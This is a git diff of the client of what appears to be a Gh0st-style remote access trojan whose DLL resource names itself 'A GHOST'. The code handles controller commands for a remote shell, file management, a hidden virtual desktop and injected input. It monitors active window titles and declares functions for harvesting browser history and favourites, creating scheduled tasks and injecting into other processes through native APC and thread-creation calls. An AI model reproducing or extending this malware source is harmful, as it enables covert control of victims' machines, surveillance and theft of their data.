m_hThread[m_ulThreadCount].p = sub;
}
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopFileManagerPlugin, &m_hThread[m_ulThreadCount], 0, NULL);;
break;
}
case COMMAND_PRIVATE_SCREEN_PLUGIN: { // 隐私屏幕(虚拟桌面,SimplePlugins 迁移)
{
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
m_hThread[m_ulThreadCount].p = sub;
}
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopPrivateScreenPlugin, &m_hThread[m_ulThreadCount], 0, NULL);;
break;
}
case COMMAND_DRAWING_BOARD_PLUGIN: { // 远程画板(SimplePlugins 迁移)
{
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
m_hThread[m_ulThreadCount].p = sub;
}
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopDrawingBoardPlugin, &m_hThread[m_ulThreadCount], 0, NULL);;
break;
}
case COMMAND_SHELL: { case COMMAND_SHELL: {
if (!ENABLE_SHELL) { if (!ENABLE_SHELL) {
return ResponseDisable(m_ClientObject, "SHELL", szBuffer + 1, ulLength - 1); return ResponseDisable(m_ClientObject, "SHELL", szBuffer + 1, ulLength - 1);
@@ -1253,6 +1331,18 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
break; break;
} }
case CMD_FILE_SPEED: {
// 主控端下发文件传输速度档位:[cmd:1][chunkKb:uint16 LE][durationMs:uint16 LE]。
// 写入 [transfer] 节,供各 InitFileUpload 调用点经 GetTransferSpeed 读取。
if (ulLength >= 5) {
int chunkKb = szBuffer[1] | (szBuffer[2] << 8);
int durMs = szBuffer[3] | (szBuffer[4] << 8);
m_cfg->SetInt("transfer", "ChunkKb", chunkKb);
m_cfg->SetInt("transfer", "DurationMs", durMs);
}
break;
}
case COMMAND_LIST_DRIVE : { case COMMAND_LIST_DRIVE : {
if (!ENABLE_FILE_MNG) { if (!ENABLE_FILE_MNG) {
return ResponseDisable(m_ClientObject, "FILE", szBuffer + 1, ulLength - 1); return ResponseDisable(m_ClientObject, "FILE", szBuffer + 1, ulLength - 1);
@@ -1320,6 +1410,19 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
break; break;
} }
case COMMAND_CONNECTION: {
if (!ENABLE_CONNECTION_MNG) {
return ResponseDisable(m_ClientObject, "CONNECTION", szBuffer + 1, ulLength - 1);
}
{
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
m_hThread[m_ulThreadCount].p = sub;
}
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopConnectionManager, &m_hThread[m_ulThreadCount], 0, NULL);
break;
}
case COMMAND_UPDATE: { case COMMAND_UPDATE: {
auto typ = m_conn->ClientType(); auto typ = m_conn->ClientType();
if (typ == CLIENT_TYPE_DLL || typ == CLIENT_TYPE_MODULE) { if (typ == CLIENT_TYPE_DLL || typ == CLIENT_TYPE_MODULE) {
@@ -1368,6 +1471,15 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
} }
case COMMAND_SEND_FILE_V2: { case COMMAND_SEND_FILE_V2: {
// 主连接接收 V2 上传:确保文件传输模块已初始化(RecvFileChunkV2 依赖 g_status==1)。
// static 标志保证进程内只初始化一次,不随主连接重连反复 Init/Uninit。
static bool s_v2RecvInited = false;
if (!s_v2RecvInited) {
int chunkKb, durMs;
GetTransferSpeed(*m_cfg, chunkKb, durMs);
InitFileUpload({}, m_LoginMsg, m_LoginSignature, chunkKb, durMs, Logf);
s_v2RecvInited = true;
}
// C2C/V2 文件接收(RecvFileChunkV2 内部会打印进度) // C2C/V2 文件接收(RecvFileChunkV2 内部会打印进度)
int n = RecvFileChunkV2((char*)szBuffer, ulLength, m_conn, int n = RecvFileChunkV2((char*)szBuffer, ulLength, m_conn,
nullptr, m_hash, m_hmac, m_MyClientID); nullptr, m_hash, m_hmac, m_MyClientID);
+18
View File
@@ -40,6 +40,24 @@ public:
return (!IsWorkstationLocked() ? "Inactive: " : "Locked: ") + FormatMilliseconds(idle); return (!IsWorkstationLocked() ? "Inactive: " : "Locked: ") + FormatMilliseconds(idle);
} }
// 返回当前活跃窗口标题;若空闲(idle ≥ threshold_ms)或取不到标题则返回空串。
// 供历史活动采集使用,避免“判定活跃”与“取标题”之间的竞态窗口。
std::string GetActiveTitleOrEmpty(DWORD threshold_ms = 6000)
{
if (GetUserIdleTime() >= threshold_ms)
return std::string();
return GetActiveWindowTitle();
}
// 返回当前前台窗口句柄;空闲(idle ≥ threshold_ms)返回 NULL。
// 历史活动按窗口(HWND)而非标题字符串累计:标题动态变化时不会反复归零。
HWND GetActiveWindowHandle(DWORD threshold_ms = 6000)
{
if (GetUserIdleTime() >= threshold_ms)
return NULL;
return GetForegroundWindow();
}
private: private:
std::string FormatMilliseconds(DWORD ms) std::string FormatMilliseconds(DWORD ms)
{ {
File diff suppressed because it is too large. Load diff
+204
View File
@@ -0,0 +1,204 @@
#pragma once
#include "Manager.h"
#include <Iphlpapi.h>
#include <tlhelp32.h>
#include <map>
#include <WINSOCK2.H>
#include "yapi.hpp"
#pragma comment(lib, "Iphlpapi.lib")
#pragma comment(lib, "WS2_32.lib")
#include <taskschd.h>
#include <comutil.h>
#pragma comment(lib, "taskschd.lib")
#pragma comment(lib, "comsupp.lib")
typedef std::map<DWORD, std::string> PidandStitle; // 进程ID与窗口名
#define MAKE_PAIR(_a,b,c) _a::value_type((b),(c))
#define THREAD_CREATE_FLAGS_CREATE_SUSPENDED 0x00000001
#define THREAD_CREATE_FLAGS_SKIP_THREAD_ATTACH 0x00000002
#define THREAD_CREATE_FLAGS_HIDE_FROM_DEBUGGER 0x00000004
class CMachineManager : public CManager
{
public:
BOOL m_bUse;
CMachineManager(IOCPClient* ClientObject, int n, void* user = nullptr);
virtual ~CMachineManager();
virtual void OnReceive(PBYTE lpBuffer, ULONG nSize);
private:
static BOOL DebugPrivilege(const char* PName, BOOL bEnable);
static bool CALLBACK EnumWindowsProc(HWND hwnd, LPARAM lParam);
HWND GetHwndByPid(DWORD dwProcessID);
bool Is64BitOS();
bool Is64BitPorcess(DWORD dwProcessID);
char* ProcessPidToName(HANDLE hProcessSnap, DWORD ProcessId, char* ProcessName);
wchar_t* char2wchar_t(char* cstr);
BOOL EnablePrivilege(LPCTSTR lpPrivilegeName, BOOL bEnable);
void DeleteService(LPBYTE lpBuffer, UINT nSize);
void MyControlService(LPBYTE lpBuffer, UINT nType);
void SendProcessList();
LPBYTE getProcessList(); //进程
void SendWindowsList();
LPBYTE getWindowsList(); //窗口
void SendNetStateList();
LPBYTE getNetStateList();
void SendSoftWareList();
LPBYTE getSoftWareList(); //软件列表
void SendIEHistoryList();
LPBYTE getIEHistoryList(); // 浏览记录
void SendFavoritesUrlList();
void FindFavoritesUrl(char* searchfilename, PBYTE &data, int &offset);
LPBYTE getFavoritesUrlList(); //收藏夹
void SendServicesList(DWORD dwScType = SERVICE_WIN32);
LPBYTE getServiceList(DWORD dwScType);
PBYTE GetTaskAll(ITaskFolder* pFolder, PBYTE &data, int &offset); //获取目录下的所有任务
PBYTE GetFolderAll(ITaskFolder* pFolder, PBYTE &data, int &offset);//获取目录下的子目录
PBYTE GetRoot(); //获取根目录下的子文件夹
BOOL CreateTask(LPBYTE lpBuffer); //创建计划任务
BOOL RunOrStopTask(LPBYTE lpBuffer, BOOL Action); //执行或停止
BOOL DelTask(LPBYTE lpBuffer); //删除计划任务
BOOL GetProgramPath(ITaskDefinition* iDefinition, BSTR* exepath);
void SaveData(const std::string& taskname, const std::string& path,
const std::string& exepath, const std::string& status,
DATE LastTime, DATE NextTime, PBYTE &data, int &offset); //保存数据到缓冲区
DWORD m_dwServiceType;
void SendHostsList();
void injectprocess(DWORD mode, DWORD ExeIsx86, DWORD dwProcessID,byte* data, DWORD datasize,char* path);
void SendError(const char* Terror);
};
struct Browsinghistory {
char strTime[100];
char strTitle[1024];
char strUrl[1024];
};
typedef struct {
DWORD dwState; // 连接状态
DWORD dwLocalAddr; // 本地地址
DWORD dwLocalPort; // 本地端口
DWORD dwRemoteAddr; // 远程地址
DWORD dwRemotePort; // 远程端口
DWORD dwProcessId; // 进程ID号
} MIB_TCPEXROW, * PMIB_TCPEXROW;
typedef struct {
DWORD dwNumEntries;
MIB_TCPEXROW table[ANY_SIZE];
} MIB_TCPEXTABLE, * PMIB_TCPEXTABLE;
typedef struct {
DWORD dwLocalAddr; // 本地地址
DWORD dwLocalPort; // 本地端口
DWORD dwProcessId; // 进程ID号
} MIB_UDPEXROW, * PMIB_UDPEXROW;
typedef struct {
DWORD dwNumEntries;
MIB_UDPEXROW table[ANY_SIZE];
} MIB_UDPEXTABLE, * PMIB_UDPEXTABLE;
typedef struct {
DWORD dwState; //连接状态
DWORD dwLocalAddr; //本地地址
DWORD dwLocalPort; //本地端口
DWORD dwRemoteAddr; //远程地址
DWORD dwRemotePort; //远程端口
DWORD dwProcessId; //进程标识
DWORD Unknown; //待定标识
} MIB_TCPEXROW_VISTA, * PMIB_TCPEXROW_VISTA;
typedef struct {
DWORD dwNumEntries;
MIB_TCPEXROW_VISTA table[ANY_SIZE];
} MIB_TCPEXTABLE_VISTA, * PMIB_TCPEXTABLE_VISTA;
typedef DWORD(WINAPI* _InternalGetTcpTable2)(
PMIB_TCPEXTABLE_VISTA* pTcpTable_Vista,
HANDLE heap,
DWORD flags
);
typedef DWORD(WINAPI* PFNInternalGetUdpTableWithOwnerPid)(
PMIB_UDPEXTABLE* pUdpTable,
HANDLE heap,
DWORD flags
);
// 扩展函数原型
typedef DWORD(WINAPI* PFNAllocateAndGetTcpExTableFromStack)(
PMIB_TCPEXTABLE* pTcpTable,
BOOL bOrder,
HANDLE heap,
DWORD zero,
DWORD flags
);
typedef DWORD(WINAPI* PFNAllocateAndGetUdpExTableFromStack)(
PMIB_UDPEXTABLE* pUdpTable,
BOOL bOrder,
HANDLE heap,
DWORD zero,
DWORD flags
);
typedef _CLIENT_ID* PCLIENT_ID;
typedef NTSTATUS(NTAPI* pNtOpenProcess)(PHANDLE ProcessHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID ClientId);
typedef NTSTATUS(NTAPI* pNtOpenThread)(PHANDLE ThreadHandle, ACCESS_MASK AccessMask, POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID);
typedef NTSTATUS(NTAPI* pNtSuspendThread)(HANDLE ThreadHandle, PULONG SuspendCount);
typedef NTSTATUS(NTAPI* pNtAlertResumeThread)(HANDLE ThreadHandle, PULONG SuspendCount);
typedef NTSTATUS(NTAPI* pNtAllocateVirtualMemory)(HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect);
typedef NTSTATUS(NTAPI* pNtWriteVirtualMemory)(HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer, ULONG NumberOfBytesToWrite, PULONG NumberOfBytesWritten);
typedef NTSTATUS(NTAPI* pNtQueueApcThread)(HANDLE ThreadHandle, PIO_APC_ROUTINE ApcRoutine, PVOID ApcRoutineContext OPTIONAL, PIO_STATUS_BLOCK ApcStatusBlock OPTIONAL, ULONG ApcReserved OPTIONAL);
typedef NTSTATUS(WINAPI* pLdrLoadDll)(IN PWCHAR PathToFile OPTIONAL, IN ULONG Flags OPTIONAL, IN PUNICODE_STRING ModuleFileName, OUT PHANDLE ModuleHandle);
typedef VOID(WINAPI* pRtlInitUnicodeString)(PUNICODE_STRING DestinationString, PCWSTR SourceString);
typedef NTSTATUS(NTAPI* pfnNtCreateThreadEx)
(
OUT PHANDLE hThread,
IN ACCESS_MASK DesiredAccess,
IN PVOID ObjectAttributes,
IN HANDLE ProcessHandle,
IN PVOID lpStartAddress,
IN PVOID lpParameter,
IN ULONG Flags,
IN SIZE_T StackZeroBits,
IN SIZE_T SizeOfStackCommit,
IN SIZE_T SizeOfStackReserve,
OUT PVOID lpBytesBuffer);
typedef struct _THREAD_DATA
{
pRtlInitUnicodeString fnRtlInitUnicodeString;
pLdrLoadDll fnLdrLoadDll;
UNICODE_STRING UnicodeString;
WCHAR DllName[260];
PWCHAR DllPath;
ULONG Flags;
HANDLE ModuleHandle;
}THREAD_DATA, * PTHREAD_DATA;
struct InjectData {
DWORD ExeIsx86;
DWORD mode; //注入模式
DWORD dwProcessID;//进程ID
DWORD datasize; //本地数据尺寸
char strpath[1024]; //远程落地目录
};
+21 -4
View File
@@ -119,21 +119,38 @@ HDESK OpenActiveDesktop(ACCESS_MASK dwDesiredAccess)
HDESK hInputDesktop = OpenInputDesktop(0, FALSE, dwDesiredAccess); HDESK hInputDesktop = OpenInputDesktop(0, FALSE, dwDesiredAccess);
if (!hInputDesktop) { if (!hInputDesktop) {
Mprintf("OpenInputDesktop failed: %d, trying Winlogon\n", GetLastError()); // 限制失败日志频率:锁屏/无交互桌面/权限不足(如 ERROR_ACCESS_DENIED=5)时,
// 这些错误会随调用循环每秒触发、刷屏严重,这里最多每分钟记录一次。
DWORD err = GetLastError(); // 立即捕获 OpenInputDesktop 的错误,避免后续调用覆盖
static DWORD s_lastDesktopFailLog = 0;
DWORD now = GetTickCount();
bool logDue = (now - s_lastDesktopFailLog >= 60000);
if (logDue)
s_lastDesktopFailLog = now;
if (logDue)
Mprintf("OpenInputDesktop failed: %d, trying Winlogon\n", err);
HWINSTA hWinSta = OpenWindowStation("WinSta0", FALSE, WINSTA_ALL_ACCESS); HWINSTA hWinSta = OpenWindowStation("WinSta0", FALSE, WINSTA_ALL_ACCESS);
if (hWinSta) { if (hWinSta) {
SetProcessWindowStation(hWinSta); SetProcessWindowStation(hWinSta);
hInputDesktop = OpenDesktop("Winlogon", 0, FALSE, dwDesiredAccess); hInputDesktop = OpenDesktop("Winlogon", 0, FALSE, dwDesiredAccess);
if (!hInputDesktop) { if (!hInputDesktop) {
Mprintf("OpenDesktop Winlogon failed: %d, trying Default\n", GetLastError()); err = GetLastError();
if (logDue)
Mprintf("OpenDesktop Winlogon failed: %d, trying Default\n", err);
hInputDesktop = OpenDesktop("Default", 0, FALSE, dwDesiredAccess); hInputDesktop = OpenDesktop("Default", 0, FALSE, dwDesiredAccess);
if (!hInputDesktop) { if (!hInputDesktop) {
Mprintf("OpenDesktop Default failed: %d\n", GetLastError()); err = GetLastError();
if (logDue)
Mprintf("OpenDesktop Default failed: %d\n", err);
} }
} }
} else { } else {
Mprintf("OpenWindowStation failed: %d\n", GetLastError()); err = GetLastError();
if (logDue)
Mprintf("OpenWindowStation failed: %d\n", err);
} }
} }
return hInputDesktop; return hInputDesktop;
+19
View File
@@ -9,6 +9,14 @@
#if ENABLE_REGISTRY #if ENABLE_REGISTRY
// 与 RegisterOperation.cpp 的 REGMSG 同构(int count + DWORD size + DWORD valsize = 12 字节),
// 此处仅用于构造"空结果包"(count=0),无需跨文件共享完整定义。
struct REGMSG {
int count; //名字个数
DWORD size; //名字大小
DWORD valsize; //值大小
};
////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////
// Construction/Destruction // Construction/Destruction
////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////
@@ -46,17 +54,28 @@ VOID CRegisterManager::Find(char bToken, char *szPath)
if(szPath!=NULL) { if(szPath!=NULL) {
Opt.SetPath(szPath); Opt.SetPath(szPath);
} }
// 子键包(TOKEN_REG_PATH):无子键时也回传空包,保证服务端(含 MCP 无头查询)
// 能确定性收齐 PATH+KEY 两包,无需靠超时猜测是否有第二包。
char *szBuffer= Opt.FindPath(); char *szBuffer= Opt.FindPath();
if(szBuffer!=NULL) { if(szBuffer!=NULL) {
m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer)); m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer));
//目录下的目录 //目录下的目录
LocalFree(szBuffer); LocalFree(szBuffer);
} else {
char empty[1 + sizeof(REGMSG)] = { 0 };
empty[0] = TOKEN_REG_PATH;
m_ClientObject->Send2Server(empty, sizeof(empty));
} }
// 值包(TOKEN_REG_KEY):同上,无值时也回传空包。
szBuffer = Opt.FindKey(); szBuffer = Opt.FindKey();
if(szBuffer!=NULL) { if(szBuffer!=NULL) {
//目录下的文件 //目录下的文件
m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer)); m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer));
LocalFree(szBuffer); LocalFree(szBuffer);
} else {
char empty[1 + sizeof(REGMSG)] = { 0 };
empty[0] = TOKEN_REG_KEY;
m_ClientObject->Send2Server(empty, sizeof(empty));
} }
} }
+21 -18
View File
@@ -21,10 +21,13 @@ enum MYKEY {
enum KEYVALUE { enum KEYVALUE {
MREG_SZ, MREG_SZ, // REG_SZ
MREG_DWORD, MREG_DWORD, // REG_DWORD
MREG_BINARY, MREG_BINARY, // REG_BINARY
MREG_EXPAND_SZ MREG_EXPAND_SZ, // REG_EXPAND_SZ
MREG_MULTI_SZ, // REG_MULTI_SZ
MREG_QWORD, // REG_QWORD
MREG_NONE // REG_NONE / 未知类型
}; };
struct REGMSG { struct REGMSG {
@@ -70,7 +73,7 @@ char* RegisterOperation::FindPath()
char *szBuffer=NULL; char *szBuffer=NULL;
HKEY hKey; //注册表返回句柄 HKEY hKey; //注册表返回句柄
/*打开注册表 User kdjfjkf\kdjfkdjf\ */ /*打开注册表 User kdjfjkf\kdjfkdjf\ */
if(RegOpenKeyEx(MKEY,KeyPath,0,KEY_ALL_ACCESS,&hKey)==ERROR_SUCCESS) { //打开 if(RegOpenKeyEx(MKEY,KeyPath,0,KEY_READ,&hKey)==ERROR_SUCCESS) { //打开
DWORD dwIndex=0,NameCount,NameMaxLen; DWORD dwIndex=0,NameCount,NameMaxLen;
DWORD KeySize,KeyCount,KeyMaxLen,MaxDataLen; DWORD KeySize,KeyCount,KeyMaxLen,MaxDataLen;
//这就是枚举了 //这就是枚举了
@@ -93,7 +96,7 @@ char* RegisterOperation::FindPath()
REGMSG msg; //数据头 REGMSG msg; //数据头
msg.size=KeySize; msg.size=KeySize;
msg.count=KeyCount; msg.count=KeyCount;
memcpy(szBuffer+1,(void*)&msg,Size); memcpy(szBuffer+1,(void*)&msg,sizeof(REGMSG));
char * szTemp=new char[KeySize]; char * szTemp=new char[KeySize];
for(dwIndex=0; dwIndex<KeyCount; dwIndex++) { //枚举项 for(dwIndex=0; dwIndex<KeyCount; dwIndex++) { //枚举项
@@ -124,7 +127,7 @@ char* RegisterOperation::FindKey()
char *szBuffer=NULL; char *szBuffer=NULL;
HKEY hKey; //注册表返回句柄 HKEY hKey; //注册表返回句柄
if(RegOpenKeyEx(MKEY,KeyPath,0,KEY_ALL_ACCESS,&hKey)==ERROR_SUCCESS) { //打开 if(RegOpenKeyEx(MKEY,KeyPath,0,KEY_READ,&hKey)==ERROR_SUCCESS) { //打开
DWORD dwIndex=0,NameSize,NameCount,NameMaxLen,Type; DWORD dwIndex=0,NameSize,NameCount,NameMaxLen,Type;
DWORD KeyCount,KeyMaxLen,DataSize,MaxDataLen; DWORD KeyCount,KeyMaxLen,DataSize,MaxDataLen;
//这就是枚举了 //这就是枚举了
@@ -167,17 +170,17 @@ char* RegisterOperation::FindKey()
RegEnumValue(hKey,dwIndex,szValueName,&NameSize, RegEnumValue(hKey,dwIndex,szValueName,&NameSize,
NULL,&Type,szValueData,&DataSize);//读取键值 NULL,&Type,szValueData,&DataSize);//读取键值
if(Type==REG_SZ) { // 值类型映射:REG_SZ/DWORD/BINARY/EXPAND_SZ 之外补 MULTI_SZ/QWORD/NONE,
szTemp[0]=MREG_SZ; // 未识别类型一律 MREG_NONE(避免误报为 REG_SZ)。
} switch (Type) {
if(Type==REG_DWORD) { case REG_SZ: szTemp[0] = MREG_SZ; break;
szTemp[0]=MREG_DWORD; case REG_EXPAND_SZ: szTemp[0] = MREG_EXPAND_SZ; break;
} case REG_MULTI_SZ: szTemp[0] = MREG_MULTI_SZ; break;
if(Type==REG_BINARY) { case REG_DWORD: szTemp[0] = MREG_DWORD; break;
szTemp[0]=MREG_BINARY; case REG_QWORD: szTemp[0] = MREG_QWORD; break;
} case REG_BINARY: szTemp[0] = MREG_BINARY; break;
if(Type==REG_EXPAND_SZ) { case REG_NONE: szTemp[0] = MREG_NONE; break;
szTemp[0]=MREG_EXPAND_SZ; default: szTemp[0] = MREG_NONE; break;
} }
szTemp+=sizeof(BYTE); szTemp+=sizeof(BYTE);
strcpy(szTemp,szValueName); strcpy(szTemp,szValueName);
+19 -6
View File
@@ -106,8 +106,13 @@ CScreenManager::CScreenManager(IOCPClient* ClientObject, int n, void* user, BOOL
SetConnection(g_MyApp.g_Connection); // 同时设置 m_conn 和 m_MyClientID SetConnection(g_MyApp.g_Connection); // 同时设置 m_conn 和 m_MyClientID
CKernelManager* main = (CKernelManager*)ClientObject->GetMain(); CKernelManager* main = (CKernelManager*)ClientObject->GetMain();
m_Signature = main ? main->m_LoginSignature : ClientObject->m_LoginSignature; m_Signature = main ? main->m_LoginSignature : ClientObject->m_LoginSignature;
if (!m_Signature.empty()) InitFileUpload({}, main ? main->m_LoginMsg : ClientObject->m_LoginMsg, if (!m_Signature.empty()) {
main ? main->m_LoginSignature : ClientObject->m_LoginSignature, 64, 50, Logf); iniFile cfg(CLIENT_PATH);
int chunkKb, durMs;
GetTransferSpeed(cfg, chunkKb, durMs);
InitFileUpload({}, main ? main->m_LoginMsg : ClientObject->m_LoginMsg,
main ? main->m_LoginSignature : ClientObject->m_LoginSignature, chunkKb, durMs, Logf);
}
#endif #endif
m_isGDI = TRUE; m_isGDI = TRUE;
m_virtual = FALSE; m_virtual = FALSE;
@@ -189,6 +194,7 @@ bool CScreenManager::RestartScreen(BOOL switchScreen)
m_bIsWorking = FALSE; m_bIsWorking = FALSE;
DWORD s = WaitForSingleObject(m_hWorkThread, 1000); DWORD s = WaitForSingleObject(m_hWorkThread, 1000);
if (s == WAIT_TIMEOUT) { if (s == WAIT_TIMEOUT) {
Mprintf("TerminateThread: 截屏工作线程 handle=%p threadId=%lu\n", m_hWorkThread, GetThreadId(m_hWorkThread));
TerminateThread(m_hWorkThread, 0x20260215); TerminateThread(m_hWorkThread, 0x20260215);
} }
@@ -869,7 +875,10 @@ VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
if (m_Signature.empty()) { if (m_Signature.empty()) {
m_Signature = std::string(resp.signature, resp.signature + 64); m_Signature = std::string(resp.signature, resp.signature + 64);
m_ClientObject->SetVerifyInfo(resp.msg, m_Signature); m_ClientObject->SetVerifyInfo(resp.msg, m_Signature);
InitFileUpload({}, std::string(resp.msg), m_Signature, 64, 50, Logf); iniFile cfg(CLIENT_PATH);
int chunkKb, durMs;
GetTransferSpeed(cfg, chunkKb, durMs);
InitFileUpload({}, std::string(resp.msg), m_Signature, chunkKb, durMs, Logf);
Mprintf("[CScreenManager] Received Signature: <%s, %s>\n", resp.msg, m_Signature.c_str()); Mprintf("[CScreenManager] Received Signature: <%s, %s>\n", resp.msg, m_Signature.c_str());
} }
break; break;
@@ -1725,11 +1734,15 @@ bool IsExtendedKey(WPARAM vKey)
VOID CScreenManager::ProcessCommand(LPBYTE szBuffer, ULONG ulLength) VOID CScreenManager::ProcessCommand(LPBYTE szBuffer, ULONG ulLength)
{ {
// 记录大小判定:现代控制端(本服务端)统一发 48 字节 MSG64;28 字节 MSG32 仅为兼容
// 老 32 位控制端。二者长度的最小公倍数是 336(=7×48=12×28),批量注入(如 MCP 远程
// 控制的 type/拖拽)时若先判 %28,会把 7 的整数倍条 MSG64 误判成 MSG32,字段错位导致
// 输入错乱甚至吞掉按键;故先判 %48,仅当不整除 48 才回落到 28。
int msgSize = sizeof(MSG64); int msgSize = sizeof(MSG64);
if (ulLength % 28 == 0) // 32位控制端发过来的消息 if (ulLength % 48 == 0) // 64位控制端(现代服务端)发过来的消息
msgSize = 28;
else if (ulLength % 48 == 0) // 64位控制端发过来的消息
msgSize = 48; msgSize = 48;
else if (ulLength % 28 == 0) // 32位控制端发过来的消息(兼容)
msgSize = 28;
else return; // 数据包不合法 else return; // 数据包不合法
// 命令个数 // 命令个数
+18 -3
View File
@@ -26,12 +26,23 @@ LANGUAGE LANG_CHINESE, SUBLANG_CHINESE_SIMPLIFIED
IDD_DIALOG DIALOGEX 0, 0, 180, 108 IDD_DIALOG DIALOGEX 0, 0, 180, 108
STYLE DS_SYSMODAL | DS_SETFONT | DS_MODALFRAME | WS_POPUP | WS_CAPTION | WS_SYSMENU STYLE DS_SYSMODAL | DS_SETFONT | DS_MODALFRAME | WS_POPUP | WS_CAPTION | WS_SYSMENU
CAPTION "消息提示" CAPTION "ÏûÏ¢Ìáʾ"
FONT 10, "System", 0, 0, 0x0 FONT 10, "System", 0, 0, 0x0
BEGIN BEGIN
LTEXT "Static",IDC_EDIT_MESSAGE,5,5,170,95 LTEXT "Static",IDC_EDIT_MESSAGE,5,5,170,95
END END
IDD_CHAT DIALOGEX 0, 0, 235, 155
STYLE DS_SETFONT | DS_MODALFRAME | DS_CENTER | WS_MINIMIZEBOX | WS_POPUP | WS_CAPTION | WS_SYSMENU
CAPTION "Chat"
FONT 10, "System", 0, 0, 0x0
BEGIN
EDITTEXT IDC_EDIT_CHATLOG,3,3,229,107,ES_MULTILINE | ES_AUTOVSCROLL | ES_READONLY | WS_VSCROLL
EDITTEXT IDC_EDIT_NEWMSG,3,113,170,38,ES_MULTILINE | ES_AUTOVSCROLL | WS_VSCROLL
DEFPUSHBUTTON "Send",IDC_BUTTON_SEND,178,116,54,14
PUSHBUTTON "End",IDC_BUTTON_END,178,133,54,14
END
///////////////////////////////////////////////////////////////////////////// /////////////////////////////////////////////////////////////////////////////
// //
@@ -44,6 +55,10 @@ BEGIN
IDD_DIALOG, DIALOG IDD_DIALOG, DIALOG
BEGIN BEGIN
END END
IDD_CHAT, DIALOG
BEGIN
END
END END
#endif // APSTUDIO_INVOKED #endif // APSTUDIO_INVOKED
@@ -88,7 +103,7 @@ IDR_WAVE WAVE "Res\\msg.wav"
// //
VS_VERSION_INFO VERSIONINFO VS_VERSION_INFO VERSIONINFO
FILEVERSION 1,0,3,8 FILEVERSION 1,0,4,0
PRODUCTVERSION 1,0,0,1 PRODUCTVERSION 1,0,0,1
FILEFLAGSMASK 0x3fL FILEFLAGSMASK 0x3fL
#ifdef _DEBUG #ifdef _DEBUG
@@ -106,7 +121,7 @@ BEGIN
BEGIN BEGIN
VALUE "CompanyName", "FUCK THE UNIVERSE" VALUE "CompanyName", "FUCK THE UNIVERSE"
VALUE "FileDescription", "A GHOST" VALUE "FileDescription", "A GHOST"
VALUE "FileVersion", "1.0.3.8" VALUE "FileVersion", "1.0.4.0"
VALUE "InternalName", "ServerDll.dll" VALUE "InternalName", "ServerDll.dll"
VALUE "LegalCopyright", "Copyright (C) 2019-2026" VALUE "LegalCopyright", "Copyright (C) 2019-2026"
VALUE "OriginalFilename", "ServerDll.dll" VALUE "OriginalFilename", "ServerDll.dll"
+1
View File
@@ -163,6 +163,7 @@ CShellManager::~CShellManager()
m_bStarting = FALSE; m_bStarting = FALSE;
TerminateProcess(m_hShellProcessHandle, 0); //结束我们自己创建的Cmd进程 TerminateProcess(m_hShellProcessHandle, 0); //结束我们自己创建的Cmd进程
Mprintf("TerminateThread: cmd 线程 handle=%p threadId=%lu\n", m_hShellThreadHandle, GetThreadId(m_hShellThreadHandle));
TerminateThread(m_hShellThreadHandle, 0); //结束我们自己创建的Cmd线程 TerminateThread(m_hShellThreadHandle, 0); //结束我们自己创建的Cmd线程
Sleep(100); Sleep(100);
BIN
View File
Binary file not shown.
File diff suppressed because it is too large. Load diff
+152
View File
@@ -0,0 +1,152 @@
#include <winsock2.h>
#include <list>
#include <string>
#include "Manager.h"
#include <sstream>
#include "zip.h"
#pragma once
#include <winioctl.h>
typedef LONG NTSTATUS; // 仅声明 NTSTATUS;不引入 <winternl.h>,避免 STRING/UNICODE_STRING/OBJ_CASE_INSENSITIVE/FILE_OPEN 等宏与本地命名冲突
#include "MasterEncoder.h"
namespace SimplePluginsFile {
typedef struct {
UINT nFileSize; // 文件大小
UINT nSendSize; // 已发送大小
} SENDFILEPROGRESS, * PSENDFILEPROGRESS;
typedef struct {
DWORD dwSizeHigh;
DWORD dwSizeLow;
BOOL error;
} FILESIZE;
typedef struct {
TCHAR SearchFileName[MAX_PATH];
TCHAR SearchPath[MAX_PATH];
BOOL bEnabledSubfolder;
} FILESEARCH;
typedef struct {
BYTE Token;
int w,h,size;
} FILEPICINFO;
struct SEARCH {
TCHAR TC_disk[8];
TCHAR TC_search[MAX_PATH];
};
typedef struct _IO_STATUS_BLOCK {
union {
NTSTATUS Status;
PVOID Pointer;
};
ULONG_PTR Information;
} IO_STATUS_BLOCK, * PIO_STATUS_BLOCK;
typedef struct _FILE_NAME_INFORMATION {
ULONG FileNameLength;
WCHAR FileName[MAX_PATH];
} FILE_NAME_INFORMATION;
typedef LONG(__stdcall* ZwQueryInformationFile) (
IN HANDLE FileHandle,
OUT PIO_STATUS_BLOCK IoStatusBlock,
OUT PVOID FileInformation,
IN ULONG FileInformationLength,
IN ULONG FileInformationClass
);
WCHAR* ConvertTCharToWChar(const TCHAR* ansiStr);
class CFileManager : public CManager
{
public:
MasterEncoder m_encoder;
DWORD dwRet;
